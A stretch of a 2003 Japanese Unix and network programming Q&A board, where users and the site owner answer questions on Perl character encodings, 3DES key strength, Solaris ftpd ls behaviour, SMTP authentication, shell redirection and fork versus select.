> ファイル内で改行されている際に改行コードまで取得してしまい、
> ファイルの存在判定が正しく行えません。
csh は set foo=`bar` とした時点で改行コードを除去すると思う
のですが、改行コードまで取得してしまうというのは本当でしょうか?
どういう方法で改行コードが原因だと確認されましたか?

UNIX の改行コードは 0x0a ですが、DOS や Windows は 0x0d 0x0a
です。それが残っているのであれば、tr などで 0x0d を削除してください。
      http://x68000.startshop.co.jp/~68user/unix/pickup?tr

No. 3350 # セルゲイ 2003/09/26 (金) 14:16:15
Solaris8で
(1) 100M Full-Duplex
(2) 1000M Full-Duplex
が混在(共存)している環境を設定するには、どうしたらいいでしょうか。

因みに
(1) hme0
(2) ge0, ge1
という名で認識されるようです。

よろしくお願いします。

赤色の文字は 「Windows 機種依存文字」か、いわゆる「半角カナ」です。 この掲示板では自動変換されますが、今後は使用しないで下さい

No. 3351 # 金床 [E-mail] 2003/09/27 (土) 12:46:25
>>3347 pranky
ファイアウォールがHTTP/1.1のCONNECTメソッドの使用を許可している環境で
あればそれを使用すれば解決しますね。

CONNECTの使用ができない場合にはHTTPトンネルと呼ばれるソフトウェアを使用すれば
良いと思います。

私が以前作成したHTTPトンネルが
http://www.jumperz.net/index.php?i=2&a=0&b=0
にあります。

68userさんのおっしゃる

>2 も HTTP ではサーバプッシュができないので、純粋な意味での
> 双方向通信は無理ではないでしょうか (サーバから不定期に
> クライアントにデータを送るのは不可能だが、クライアントが
> 定期的にサーバに接続し、そのレスポンスにサーバからのデータを
> 載せるなら可能)。

を実装したものとなっています。

その他上記URLからリンクしていますが、C言語で書かれたGNU Httptunnelなど同じ種類の
ソフトウェアがいくつか存在します。

No. 3352 # 落合 [E-mail] 2003/09/27 (土) 14:42:32
名づけのページを作っています。
漢字の組み合わせで名前を作るため
例えば 
亜xあyあい
井xい
のようなデーターを作り
while(<FILE>){
chomp;
$key=$_;
($key,$values)= split(/x/, $_);
$t3{$key}=$values;
}
のような連想配列に入れていました。
(色々と考えて漢字のデータはeuc,cgiスクリプトはsjisです)
これを使って名づけのCGIをホームページで公開しているのですがある人から「治」という字が使えないとメールがありなぜかなと考えてみました。
ローカル(windowsXP)な環境ではキチンと表示されます。がプロバイダにアップロードすると使えなくなります。(wakwakとNETAGEどちらも)
そこでアップロードして実験してみました。
@rkey= values %t3;
@rkey2= keys %t3;
これでキチンと配列が作られているか---連想配列は出来ていました。
次に
$nnn='治';
&jcode'convert(*nnn,"euc");
$us=$t3{$nnn};
とやってみたのですがこれだと$usの値が見つかりませんでした。
そこで
コードのせいかと思い単純に
$nnn='治';#これはsjis
&jcode'convert(*nnn,"euc");
として$nnnをHTML(euc)で表示したらコードの変換がうまくいかないようで文字化けします。
そこで
$nnn='治';
&jcode'convert(*nnn,"euc");
$code=&jcode'getcode(*nnn);
としてコードのチェックをしてみたのですが何もコードの判別ができないのです。
ちなみに違う漢字では上の実験はキチンと反応しました。
結果どうも治の文字コードの変換がうまくいかないように思うのですがどうしたらいいのかわからないのです。何かいい方法はありませんか?教えてください。お願いします。

No. 3353 # pranky [E-mail] 2003/09/28 (日) 01:44:07
>>3351 金床
金床さま、はじめまして pranky です。
ありがとうございます!
http tunnel で調べてみたところ CPAN に http-tunnel を実装した
モジュールがありましたので、簡単なソフトを作成して AnHTTPD と
一緒に使用してみたところ、TCP が接続できました!

この方法で試してみます!

No. 3354 # 68user 2003/09/28 (日) 22:51:36
>>3350 セルゲイ
> (1) 100M Full-Duplex
> (2) 1000M Full-Duplex
> が混在(共存)している環境を設定するには、どうしたらいいでしょうか。
100M な NIC と 1000M な NIC の 2枚差しではダメでしょうか。

って、まわりにギガビットな環境が全くないのでわからない
んですけどね。


>>3352 落合
Shift_JIS の「治」は 0x8e 0xa1 ですが、EUC-JP の半角カナの
句点「。」も 0x8e 0xa1 だからです。

> $nnn='治';
> &jcode'convert(*nnn,"euc");
> $code=&jcode'getcode(*nnn);
> としてコードのチェックをしてみたのですが何もコードの
> 判別ができないのです。
jcode.pl を読めばわかりますが、理論的にエンコーディングの
正確な自動判断は不可能なので、
    - EUC-JP として解釈できるバイト数
    - Shift_JIS として解釈できるバイト数
を比べ、バイト数が大きい方を getcode の結果としています。
しかし 0x8e 0xa1 の場合はどちらも 2バイトなので判断がつかず
getcode は undef を返します。

> 色々と考えて漢字のデータはeuc,cgiスクリプトはsjisです
であれば、jcode.pl にエンコーディングを教えてやればよいです。

      &jcode'convert(*nnn, 'euc', 'sjis'); # perl4 的な書き方
      jcode::convert(\nnn, 'euc', 'sjis'); # perl5 的な書き方

と書けば、きっちりと Shift_JIS から EUC-JP に変換してくれます。

No. 3355 # 68user 2003/10/02 (木) 06:16:15
>>3344 Tsun
> 共通鍵暗号のページで3DESでの鍵長が56*3にならない訳ですが
せっかく教えていただいたので、勉強してみました。といっても
    暗号技術大全
          http://www.amazon.co.jp/exec/obidos/ASIN/4797319119/ref%3Db%5Fbb%5F1%5F25/249-2894126-9073950
を読んだだけですが。


「鍵Aで暗号化 → 鍵Bで復号化 → 鍵Aで暗号化」という方法を
EDE (Encrypt-Decrypt-Encrypt) と言う。DES なら DES-EDE
などと書く。

Encrypt-Decrypt-Encrypt が特に解読しづらいわけではないので、
Encrypt-Encrypt-Encrypt でも別に構わない。

ただ、EDE の利点は、鍵A と 鍵B を同じにすれば一度だけ暗号化
したのと同じ結果が得られること (DES-EDE に対応しておけば、
DES にも対応したことになる)。

なぜ 3回必要なのか、2回の暗号化 (つまり 2DES) ではダメな
理由はというと、2回の暗号化では中間値探索 (meet-in-the-middle)
攻撃に弱いため。56bit の DES で 2回暗号化した場合、総当たり
攻撃に限ると 112bit の強さを持つが、中間値探索には 57bit の
強さしかない。


3DES には鍵を 2つ使う方法と、3つ使う方法がある。

鍵を 3つ使う 3DES は総当たりに対しては 56*3=168bit の強度が
あるが、中間値探索に対しては 112bit の相当の強度になる。

一方、鍵を 2つ使う 3DES は中間値探索の弱点はないため、総当たりと
中間値探索のいずれに対しても 112bit の強度になる。

よって、現実的な強さとしては鍵 3つの方が優秀である。

OpenSSL で実装されている暗号で言うと、
    鍵2つの 3DES: des-ede-cbc(=des-ede), des-ede-cfb, des-ede-ofb
    鍵3つの 3DES: des-ede3-cbc(=des-ede3=des3), des-ede3-cfb, des-ede3-ofb
となる。

ただ、
> 鍵長と演算量の比は対数的ですから、112ビットの鍵を使って
> 1回演算するより、56ビットの鍵を使って、3回演算するほうが
> 有利となります。
ここはよくわかりませんでした。DES の鍵は結局は 16ラウンド
それぞれの 48bit 内部鍵の元となるだけなので、対数的ではない
のではないかと思いました。

No. 3356 # has 2003/10/05 (日) 01:56:39
ども。おひさしぶりです。
これまでときどき私のlinux環境からDNSの名前解決ができない
という件でいろいろと相談させて戴いていましたが、今回たまたま
Redhat 9 publisher editionをインストールし試してみたところ、
なぜか無事名前解決できるようになりました。

もしかしたらこれまでインストール時に何かのチェックボックスに
チェックを入れなかったなど、気づいていなかったミスがあったかも
しれませんが、とにかく使えるようになりましたのでまずはご報告
します(もうしないかもしれませんが…^^;)。

というわけでこれまでいろいろアドバイスいただきまして、どうも
ありがとうございました。これで晴れて開発環境を手に入れ、無事
プログラミングにいそしむことができます。今後もどうぞよろしく
お願いします。

No. 3357 # 68user 2003/10/05 (日) 01:58:24
「ネットワークプログラミングの基礎知識」の「リンク集・参考書籍」
      http://x68000.startshop.co.jp/~68user/net/link-book.html
を更新し、以下の書籍の紹介を追加しました。

    - C言語による TCP/IP ネットワークプログラミング
    - IPv6 ネットワークプログラミング
    - 暗号技術大全
    - 暗号解読―ロゼッタストーンから量子暗号まで―

一番お勧めなのは、「暗号解読」のところで触れている
    フェルマーの最終定理
        http://shinchosha.co.jp/cgi-bin/webfind3.cfm?ISBN=539301-4
だったりします。

# 次点が「暗号解読」

No. 3358 # yudai 2003/10/08 (水) 02:19:23
はじめましてyudaiと申します。
突然お邪魔して誠に失礼とは思いますが、ご教授いただけませんでしょうか?

Perlでファイルオープン
    open(TESDAT, "tesdata.txt" ); #エラー処理略
    @list=<TESDAT>;

#testdata.txt内容
m_A9<>太郎<>26歳
f_C5<>花子<>23歳
m_G7<>一郎<>19歳
#ここまで

等として読み込むと
1行ごとに配列の要素となると思うのですが、、この場合に添え字[2]でなく要素の値(f_C5等)で参照する方法はございませんか?
htmlフォームから"f_C5"の入力を受け取りtesdata.txtを読み込み文字列を参照して
$ID="f_C5";
$name="花子";
$old="23歳";
のような結果を得たいのです。
尚、データベースモジュールは使えない環境です。
乱文にて恐縮ではございますがどうかお教えください。

No. 3359 # 68user 2003/10/08 (水) 18:58:09
>>3356 has
> なぜか無事名前解決できるようになりました。
そうですか、原因がわからず解決してしまって残念です :-)

ときにウチの環境でも返ってくる AAAA レコードが壊れていたり、
DNS サーバからの返事がなかなか返ってこなかったり、と思ったら
急になおったり、使用する DNS サーバを変えると再現しなかったり、
でも動作がおかしい DNS サーバはひとつではなかったり、と
なかなか大変です。

>>3358 yudai
案1:
    my $input_id = 'f_C5'; # web からの入力
    open(TESDAT, "tesdata.txt" );
    while (<TESDAT>){
            chomp;
            my ($ID, $name, $old) = split($_, '<>');
            if ( $ID eq $input_id ){
                    # なんらかの処理
            }
    }

案2:
    my $input_id = 'f_C5'; # web からの入力
    my %namehash;
    my %oldhash;
    open(TESDAT, "tesdata.txt" );
    while (<TESDAT>){
            chomp;
            my ($ID, $name, $old) = split($_, '<>');
            $namehash{$ID} = $name;
            $oldhash{$ID} = $old;
    }
    if ( defined $namehash{$input_id} ){
          # なんらかの処理。
          # print "$input_id $namehash{$input_id} $oldhash{$input_id}\n";
          # とか。
    }
というのが回答になっていますか?

No. 3360 # yoshi 2003/10/14 (火) 09:23:49
はじめまして、yoshiと申します。
FTPについてご教授頂きたく思い、書き込ませていただきます。

同一ネットワーク内において、
パソコン(Windows98)→ワークステーション(UNIX)へのFTPでのログインはcmd.exe上からFTPにてログインする事で、可能なのですが、
ワークステーション(UNIX)→パソコン(Windows98)へのFTPでのログインは可能でしょうか?
普通にFTPでログインしようとすると、「接続が拒否されました」と弾かれてしまいます。
可能だとしても、パソコン側で何か設定変更が必要なのでしょうか。

初歩的な質問で申し訳御座いませんが、よろしくお願い致します。

No. 3361 # 68user 2003/10/14 (火) 13:18:43
>>3360 yoshi
Windows98 上で FTP サーバを動かせば可能です。デフォルトでは
FTP サーバは用意されていないでしょう。フリー物がよければ
        http://www.forest.impress.co.jp/library/tinyftpd.html
などがよさそうに見えます。

なので、UNIX マシンに FTP でログインできるのも、
        「その UNIX マシン上で FTP サーバが動いているからログインできる」
ということです。

No. 3362 # しん [E-mail] 2003/10/14 (火) 16:31:16
はじめまして。
UNIXのことについて色々調べていたらこちらにたどり着きました。
以後よろしくお願い致します。

Tarコマンドについて質問があるのですが、
Tarコマンドのディレクトリ数の指定パラメータで
「.」と「./*」があり、
「./*」で指定した場合、ディレクトリ数の上限値があるそう
なのですが、その値はいくつなのでしょうか?

よろしければ教えてください。

No. 3363 # yoshi 2003/10/14 (火) 16:49:31
>>3361 68user

ありがとう御座いました!
そういう事だったのすね、早速やってみます!

No. 3364 # yoshi 2003/10/14 (火) 16:59:34
>>3361 68user
間違えて、書き込んでいる途中で送信してしまいました・・。
しかも脱字でした、すみません。
    ×そういう事だったのすね → ○そういう事だったのですね

家では実験できないので、会社で試してみるつもりです。
結果が分かり次第、報告させて頂きます!

No. 3365 # /tk 2003/10/14 (火) 17:05:39
>>3352 落合
http://x68000.startshop.co.jp/~68user/cgi-bin/wwwboard.cgi?howtouse
を読んだ後に cgi-ml で得た情報をコッチにも提供して欲しい気持ち。

>>3359 68user
> my ($ID, $name, $old) = split($_, '<>');
split の引数が逆ですぜ。

No. 3366 # 68user 2003/10/14 (火) 17:20:10
>>3362 しん
> Tarコマンドのディレクトリ数の指定パラメータで
> 「.」と「./*」があり、
> 「./*」で指定した場合、ディレクトリ数の上限値があるそう
> なのですが、その値はいくつなのでしょうか?
「ディレクトリ数の指定パラメータ」というくだりが いまいち
よくわかりませんが、要は
      % tar cf /foo/bar.tar .
だとエラーにならないのに、
      % tar cf /foo/bar.tar ./*
だとエラーになるのはなぜか、ということでしょうか?

であれば
      http://www.jp.freebsd.org/QandA/HTML/2111.html
をどうぞ。

ちなみに ARG_MAX は FreeBSD なら 64KB ですが、Solaris は
1MB です。手元の Linux マシンを見てみると 128KB でしたが、
ディストリビューションごとに異なる可能性はあります。

No. 3367 # 68user 2003/10/14 (火) 17:38:30
>>3365 /tk
> を読んだ後に cgi-ml で得た情報をコッチにも提供して欲しい気持ち。
      http://script.lovely.to/bbs/infolng.cgi?print+200309/03090012.txt
には報告して、こっちには報告してくれないのは嫌われている
からでしょうか。

って、どうせもう読んでないだろうからどうでもいいんですが。

最近は返事がなくても、クイズのつもりで回答しています。
悟りの境地に達したのかもしれない。

>> my ($ID, $name, $old) = split($_, '<>');
> split の引数が逆ですぜ。
おっと失礼しました。
      my ($ID, $name, $old) = split('<>', $_);
ですね。
  

No. 3368 # gaji 2003/10/14 (火) 19:40:36
ftp上のlsの挙動に関する質問です。
ftpサーバのOSはSolaris9です。
Bシェルでクライアント側のプログラムを作成しています。
ftp上で下記のようにワイルドカードでファイルを指定し、その結果をlsresult.txtファイルに出力しようとしています。

ftp>ls ?????.txt lsresult.txt


しかし、?????.txtに該当するファイルが無いと、クライアント側にはlsresult.txtファイルが作成されません。
様々な挙動調査の結果、lsを行うディレクトリがrootユーザーのものだとlsresult.txt自体が作成されませんが、一般ユーザーだと0バイトのlsresult.txtが作成されるという挙動の差異がありました。
lsに該当するファイルがなかった時に表示される「No such file or directory」というメッセージがlsresult.txtに出力される事を期待していますが、そのメッセージが応答されていないようです。
また、プログラムからでなく、コマンドラインから同じ事をしても同様の挙動でした。
なお、Solaris8等の他のマシンで動作確認したところ、lsに該当するファイルが無い場合には、lsresult.txtに「No such file or directory」のエラーメッセージが出力されました。
エラーメッセージの出力に関する設定、ftpdの違い、OSの違い等、疑うところはいろいろあるのですが、ftp上のls自体は機種等の環境に依存してしまうものでしょうか。
上記の説明で何が問題か分かりますでしょうか。
よろしくお願い致します。

No. 3369 # 68user 2003/10/14 (火) 20:12:08
>>3368 gaji
ftp サーバの OS は Solaris9 だと言うことはわかりましたが、
クライアント側の環境は何ですか?

ftp プロトコル自体には結果をファイルに落とすかどうかという
やりとりはありません。よって、ファイルに落とすか処理を行なう
のはクライアント側です。まずはクライアント側の環境を疑った
方がよいと思います。

> lsを行うディレクトリがrootユーザーのものだとlsresult.txt自体が
> 作成されませんが、一般ユーザーだと0バイトのlsresult.txtが作成
> されるという挙動の差異がありました。
「ls を行うディレクトリ」というのは、
        ftp> cd /hoge
        ftp> lcd /fuga
        ftp> ls ?????.txt lsresult.txt
としたときの「/hoge」のことを指していますか? それとも「/fuga」の
ことを指していますか?

また、ftp クライアントを実行するユーザの違いで挙動が変わりますか?

No. 3370 # gaji 2003/10/14 (火) 20:44:36
>>3369 68user
早速回答いただきましてありがとうございます。
今、お答えできる情報のみで申し訳ありませんが回答致します。

>ftp サーバの OS は Solaris9 だと言うことはわかりましたが、
>クライアント側の環境は何ですか?
Solaris2.6です。

>「ls を行うディレクトリ」というのは、
> ftp> cd /hoge
> ftp> lcd /fuga
> ftp> ls ?????.txt lsresult.txt
>としたときの「/hoge」のことを指していますか? それとも「/fuga」>のことを指していますか?
/hogeの事を指しております。

クライアント側は同じ状態にしておいて、FTPサーバ側をいろいろ変えて挙動が変換するので、サーバ側の問題かと思っていましたが、クライアント側も調べてみます。

No. 3371 # gaji 2003/10/15 (水) 21:58:03
>>3370 gaji
ftpのlsを調査した結果、以下の事が分かりました。
---------Solaris8がFTPサーバの時----------------------------
ftp> ls ?????.txt local.txt
200 PORT command successful.
150 ASCII data connection for /bin/ls (192.168.122.8,45207) (0 bytes).
226 ASCII Transfer complete.
local: local.txt remote: ?????.txt
49 bytes received in 0.012 seconds (3.90 Kbytes/s)
---------Solaris9がFTPサーバの時----------------------------
ftp> ls ?????.txt local.txt
200 PORT command successful.
550 ?????.txt: No such file or directory.

Solaris8のケースでは、/bin/lsによって処理されて、該当ファイルが存在しなくてもlocal.txtが作成され、中にエラーメッセージが出力されました。
Solaris9のケースでは、/bin/lsを使用していない?様です。
ftpdの内部コマンドで処理されているのでしょうか。
この場合は、local.txtが作成されていません。
ちなみに、ftp上でls -a等を行うと、Solaris8,9共に/bin/lsで処理されているようです。
lsとls -aでは、FTPプロトコルはNLSTとLISTのように違うと思いますが、インターネットで調べた限りでは「ls -aやdirなどは/bin/lsで処理され、lsはftpdの内部コマンドで処理される事が多い。」との記述がありました。しかし、今回のケースではSolaris8でのlsは/bin/lsで処理されているようです。ftpのNLSTが内部コマンドを使用するか、/bin/lsを使用するかは設定可能なものでしょうか。
もし、Solaris9でのlsも/bin/lsを使用するように設定変更可能なものであれば、設定変更して動作検証したいと思います。
もし、ご存知でしたらご教授いただきたいと思います。

No. 3372 # 68user 2003/10/16 (木) 00:22:37
>>3371 gaji
なるほど、ftpd の挙動が変わったのですね。

> ls -aやdirなどは/bin/lsで処理され、lsはftpdの内部コマンドで
> 処理される事が多い。
そういう実装が多かった、というのは確かかもしれません。
ただ、ProFTPD のように /bin/ls に一切頼らない ftp
サーバもありますので、あくまで「多かった」という程度
だと思います。

> ftpのNLSTが内部コマンドを使用するか、/bin/lsを使用するかは
> 設定可能なものでしょうか。
Solaris8, Solaris9 の ftpd を見る限りでは、そのような
設定はできないようです。
    http://www.freebsd.org/cgi/man.cgi?query=ftpd&&manpath=SunOS+5.8&format=html
    http://www.freebsd.org/cgi/man.cgi?query=ftpd&&manpath=SunOS+5.9&format=html

> ftp> ls ?????.txt local.txt
> 200 PORT command successful.
> 550 ?????.txt: No such file or directory.
もしクライアント側が LIST を発行しているとしたら
(ftp -d で確認できます)、LIST に対して 550 を返すのは
RFC 違反ではないかなぁと思いました。

      http://hp.vector.co.jp/authors/VA002682/rfc959j.htm より引用

      以下の表では、それぞれのコマンドごとの成功・失敗の応答を一覧表にしてあ
      る。これらは、確実に忠実でなくてはならない。サーバーは応答中の文章を変更
      してもよいが、その意味、コード番号により示される動作と指定されたコマンド
      応答シーケンスは変更してはならない。

      コマンド応答シーケンス
              LIST
                    125, 150
                          226, 250
                          425, 426, 451
                    450
                    500, 501, 502, 421, 530

この解釈が正しいなら、Sun に文句を言えば直してくれる
かもしれません。

ただ、ftp は規格が曖昧で、実装依存の塊みたいなものなので、
ls してクライアント側で grep した方が後々のためにもよい
かもしれません。ファイルに落として grep するとか、
      ftp> ls . "|grep ^.....\.txt$ >hoge"
とするとか。

No. 3373 # yoshi 2003/10/16 (木) 23:23:36
>>3361 68user

68userさんのご助言通り、
ftpサーバをPCに入れてみました所、上手くいきました。
ありがとう御座いました!

No. 3374 # とーりすがり 2003/10/20 (月) 17:13:15
>>3371 gaji
確か、Solaris9からwu-ftpdベースになっている筈です。

以下man ftpaccess(4)から...
/etc/ftpd/ftpaccess
lslong /usr/bin/ls
lsshort /usr/bin/ls
lsplain /usr/bin/ls

上記3行を追加してみては如何でしょうか...
外していたらごめなさい。
ではでは

No. 3375 # gaji 2003/10/21 (火) 19:22:13
>>3374 とーりすがり
情報の提供ありがとうございます。
試してみたいと思います。
>確か、Solaris9からwu-ftpdベースになっている筈です。
これは、私も何かの書籍で見た記憶があります。
また、何か情報がございましたらお願いします。

No. 3376 # 新米 2003/10/22 (水) 01:15:16
イーサカード(hme等)のインスタンス番号についてご教授ください。
hme0と認識されているカードをカード実装位置を変えずにhme5のようにインスタンス番号のみ変更することは可能でしょうか?

No. 3377 # foofoo 2003/10/22 (水) 16:02:09
送信サーバ認証が不要な SMTPサーバではサーバ外メール送信は実現できています。
しかし、送信サーバ認証が必要な SMTPサーバではサーバ外メールを送信できません。(Outlook Express ではサーバ外メール送信OK)

SMTP AUTH と POP Before SMTP を試しました。

SMTP AUTH は NONE-SUPPORT のメッセージが返りました。

POP Before SMTP として、POPサーバに USER と PASS コマンドを使い認証を受けた後(正常終了)で QUIT の直後に、SMTPサーバ にconnectし、HELO, MAIL FROM: とコマンドを送信し、RCPT TO: で 550 5.7.1 と Relay エラーを出してしまいます。

POP Before SMTP を実現するためのコマンドシーケンスを教えてください。

VC++ 6.0 Windows98SE

宜しくお願い致します。

No. 3378 # リダイレクションを引きとして渡す 2003/10/22 (水) 20:48:05
関数にリダイレクションを引数として渡したいのですが
どうも上手くいきません。ご教示お願いいたします。(OS:HPUX)

KANNSUU(){
echo "A" $1 tmp.txt
}

KANNSUU >

結果:"A > tmp.txt"と表示されてしまう。

No. 3379 # 68user 2003/10/22 (水) 21:24:53
>>3374 とーりすがり
> 確か、Solaris9からwu-ftpdベースになっている筈です。
おお、ほんとうですね。
      http://docs.sun.com/db/doc/816-3965/6ma7896j8?l=ja&q=wu-ftpd&a=view
知りませんでした。

ってゆーか、まわりに Solaris9 環境がなかったりするんですけどね。

>>3376 新米
> hme0と認識されているカードをカード実装位置を変えずにhme5の
> ようにインスタンス番号のみ変更することは可能でしょうか?
(Solaris かどうか書いてないのでわかりませんが) Solaris の
ifconfig はいろんな設定ができるので、できるかもしれませんし、
できないかもしれません。

>>3377 foofoo
> POP Before SMTP を実現するためのコマンドシーケンスを教えてください。
POP でアクセスすればそれでよいはずです。


その前に、調べ方が効率悪すぎです。

まずはサーバがどういう認証方法を取っているか調べましょう。それが
できないなら、ethereal などのパケットアナライザを使って、Outlook が
どういうふうに接続しているか調べましょう。


>>3378 リダイレクションを引きとして渡す
eval を使って
      KANSUU(){
          eval "echo 'A' $1 tmp.txt"
      }
とします。しかし、そのうちメッセージやファイル名に空白や
シングルクォート・ダブルクォートが入ってたら〜とかいう
話になると思うので、
      KANSUU(){
          if [ $2 = 0 ]; # file 出力モード
                echo $1 > tmp.txt
          else # 標準出力モード
                echo $1
          fi
      }
的な書き方をお勧めしておきます。

No. 3380 # foofoo 2003/10/23 (木) 02:09:44
>>3379 さん、ありがとうございました。

> POP でアクセスすればそれでよいはずです。

何かが悪いのでしょうが、前の記述通り、POP から SMTP の切替て RCPT TO:で 550 が発生してしまいます。

うまく行っている Outlook を ethereal でトレースしようと思います。
ethereal のようなトレースツールも知りたかったので大変うれしく思っています。
早速 ethereal をダウンロードしてトレースしてみます。

テスト後ご報告致します。

foofoo

No. 3381 # foofoo 2003/10/23 (木) 14:10:56
>>3379 68user
68userさん、大変ありがとうございました。

etherealを使いトレースしたところ、Outlook Expressは、POP Before SMTP ではなく、AUTH LOGIN コマンドを使っていることがわかりました。

< EHLO xnn000<CR><LF>
> 250
< AUTH LOGIN
> 334,334,235
< MAIL FROM:
> 250
      :
      :

Outlook Expressと同じ手順でOKにはなりました。

新たに不明な点が出てきました。
AUTH LOGIN の前に発行するEHLO に不明なアドレスのパラメータがついていました。
そのアドレスは、レジストリーで調査してもWindowsに設定されたアドレスでもなく、Outlook Express の設定の中にも無い下記のようなアドレスでした。
EHLO xnn000<CR><LF>
  注:x:a〜zまでの内の1文字 nn:00〜99までの数字

所持メールアドレスは、送信メールサーバで認証の必要なものは1つしか持ち合わせがないため、他のメールサーバの時にどうなるかを確認できません。

このアドレスの根拠についてご存知の方、教えてください。

宜しくお願いします。

No. 3382 # foofoo 2003/10/23 (木) 14:14:38
>>3381 foofoo
記載ミス

失礼しました、コマンドを統一表記していませんでした。
EHLO 以外も、Trailer として <CR><LF> は全て付加されています。

No. 3383 # ふくし [E-mail] 2003/10/23 (木) 15:17:40
お久しぶりです。質問です。
さいきん MovableType に手を染めたのですが、
結構快調に使えていたんですが、rebuild 時に
500 Internal Server Error になるようになりました。
ずっとエラーになっても、再構築はできてたっぽかったんですが、
このたびついに再構築じたいできなくなりました。
(いつまでたっても古いページのまま)

ドキュメントを見ると index.html を index.html.new に
退避してから書き込み動作を行い、
それが終わったら new を index.html に変名するような仕様に
なっているが、この場合 mt ルートディレクトリののパーミッションが
777 になってないといけない、とあったので、
みてみると、たしかに 755 だったので、777 にすると、
今度は書き込み動作をしようとするといきなり 500 になりました。

あわてて 755 に戻すと、書き込み動作時のエラーはなくなりましたが、
相変わらず再構築時にエラーになります。
で、ドキュメントに、index.html.new を作らない設定にするには
mt.cfg の NoTempFiles 1 を非コメント化するようにと言われたので、
しましたが、効きません。

なお、ルートには確かに index.html と index.html.new があって、
index.html のタイムスタンプは最後に再構築できたときです。
パーミッションは両方 666 です。
Perl は 5.005_03、
UNIX は FreeBSD 4.5-RELEASE-p36 #2
です。何かわかりましたら教えてください。
あと、板違いの場合はよさげな板を教えてくだされば幸甚です。
よろしくお願いします。

No. 3384 # ふくし [E-mail] 2003/10/23 (木) 15:29:33
<<3383
ティピカルな問題かも。
http://www2h.biglobe.ne.jp/~hnakamur/technolab/diary/2003/20030810.htm

system 'ulimit'; とかどっかに入れたろか ;;;

No. 3385 # 68user 2003/10/23 (木) 18:49:51
>>3381 foofoo
> EHLO xnn000<CR><LF>
> 注:x:a〜zまでの内の1文字 nn:00〜99までの数字
これについてはわかりません。
        http://www.puni.net/~mimori/smtp/ref.html#ehlo
には
        SMTPサーバは、実際にはTCP/IP接続のIPアドレスなどの情報から
        クライアントを識別すべきである。
とあるので、Outlook Express はあえて適当なホスト名を生成して
いるのかもしれません。

自分の FQDN を知っているならそれを、知らないなら IP アドレスを
渡しておけばいいのではないでしょうか。


>>3383 ふくし
> rebuild 時に 500 Internal Server Error になるようになりました
これだけでは「理由はわからないがエラーになる」と言っているのと
同じなので、原因を調べましょう。

    - web サーバのエラーログには何と出ているか
    - CGI として起動したときの truss や ktrace の結果はどうなるか
    - コマンドラインから実行するとこけるか

もし原因が limit である可能性が濃いなら、さらに以下のことを
調べましょう。

    - CGI として起動したときの limit 値は
        (apache なら設定ファイルに書いてあるかも)
    - コマンドラインから起動したときの limit 値 (シェルの limit 値) は
    - ソフトリミットか、ハードリミットか (ハードリミットなら変更不可)
    - suid などで他の権限になれるか。なれるとしたらそのリミット値は?
    - なぜこけるのか。
            手元の Solaris で試した限りでは、
                - datasize の制限なら、malloc(3) して、brk(2) したときに
                    ENOMEM が返ってきてこける
                - stacksize の制限なら、segmentation fault でこける。
            となりました。FreeBSD でも同じかどうかはわかりません。

> system 'ulimit'; とかどっかに入れたろか ;;;
これだと子プロセスのシェルの limit 値は変わるかもしれませんが、
自分自身の limit 値は変わりません。

CPAN から setrlimit(2) するライブラリを拾ってくるか、自分で
syscall で呼ぶ必要があります。

# ただし、ハードリミットならどうしようもありません。

No. 3386 # ふくし 2003/10/23 (木) 21:27:25
>>3385 68user
さん、いつもありがとうございます。
すみません、レンタルサーバー(さくらウェブ)が
ログを見せてくれません。
telnet は使えるので、もう少しいろいろやってみます。
検索した限りでは同じサーバーで同病の人が多いので
制限のようですが、どのレベルでの制限かはまだわかりません。

No. 3387 # foofoo 2003/10/24 (金) 11:18:10
>>3385 68user
68user さん、ありがとうございました。
コメントを参考に対処していきます。

No. 3388 # peace 2003/10/25 (土) 23:20:56
fork関数とselect関数の違いが分かりません。誰か教えてくれませんか?

No. 3389 # 68user 2003/10/25 (土) 23:24:31
>>3388 peace
fork は子プロセスを生成します。
select は複数の入出力インタフェースを監視するものです。

No. 3390 # peace 2003/10/26 (日) 12:00:38
selectは親プロセス、子プロセスが存在しないのですか?

No. 3391 # 68user 2003/10/26 (日) 12:28:31
>>3390 peace
select は複数のプロセスを扱うためものではなく、1 つの
プロセスが複数のソケット (*1) を同時に扱うためのものです。

たとえば
    http://www.goo.ne.jp
    http://www.yahoo.co.jp
    http://www.asahi.com
を読みたいが、時間短縮のため 3サーバ同時に接続したい、という例が
    http://x68000.startshop.co.jp/~68user/net/http-parallel-1.html
にあります。

ここではプロセスはひとつしか出てきませんが、ソケットは 3つ
使用しています。

*1: 本当はファイルディスクリプタ

No. 3392 # peace 2003/10/26 (日) 14:01:54
ありがとうございました。

No. 3393 # doronjo [E-mail] 2003/10/27 (月) 10:16:36
以下のコマンドの意味が解りません。よろしくお願いします。
jobschmsgevent

jobschcontrol

if ( -f ./renkei.zip ) thenの中の-f ./

No. 3394 # Netboy 2003/10/27 (月) 10:53:24
>>3393 doronjo
jobなんたらは判らないのですが,-fはファイルテスト演算子です.
./renkei.zipがファイルとして存在するとき真を返します.
./は相対パスでrenkei.zipが実行中のスクリプトと
同じディレクトリにあることを示します.

68userさん
hosts.allowの件いかがですか.
どうにもなりませんか...

No. 3395 # 68user 2003/10/27 (月) 13:38:09
>>3393 doronjo
> jobschmsgevent
> jobschcontrol
Systemwalker のコマンドのようですね。付属のマニュアルを
読みましょう (わたしは Systemwalker を持ってないので
わかりません)。

>>3394 Netboy
> hosts.allowの件いかがですか.
ああああすいません、すっかり忘れていました。本日中には必ず。

No. 3396 # doronjo 2003/10/28 (火) 13:10:35
68userさん、ありがとうございました。

No. 3397 # しんさん 2003/11/06 (木) 11:17:37
はじめまして。
LINUX上にて複数のGIFファイルを1つのPDFファイルに
変換指定のですが…。
とりあえず convert コマンドでできますかね…?
こんな感じで…
  convert abc*.gif newfile.pdf

No. 3398 # MAX 2003/11/06 (木) 18:58:23
いつも参考にさせていただいています。

質問があります。
FreeBSD4.8でウェブサーバをたてました。
インストール時にタイムゾーンを JST に設定しました。
FTPアカウントを一つ設定し、3ヵ月後にFTPアカウントをいくつか追加しました。

インストール後にすぐ作成したアカウントを使い、
FTPサーバにFTPクライアントでログインし、
新規にファイル等をアップロードすると、ファイル作成日が正しくJSTで表示されます。

しかし、追加した方のアカウントで同じようにFTPでログインし、
ファイル等をアップロードした所、なぜかUTCでファイル作成日等が表示されてしまいます。

date コマンドでは Thu Nov 6 18:42:54 JST 2003 等と正しく表示されます。
.shtml ファイルをアップし、そのなかにSSIコマンドでローカルタイムを取得すると、
どちらのアカウントでも正しくJSTで表示されます。

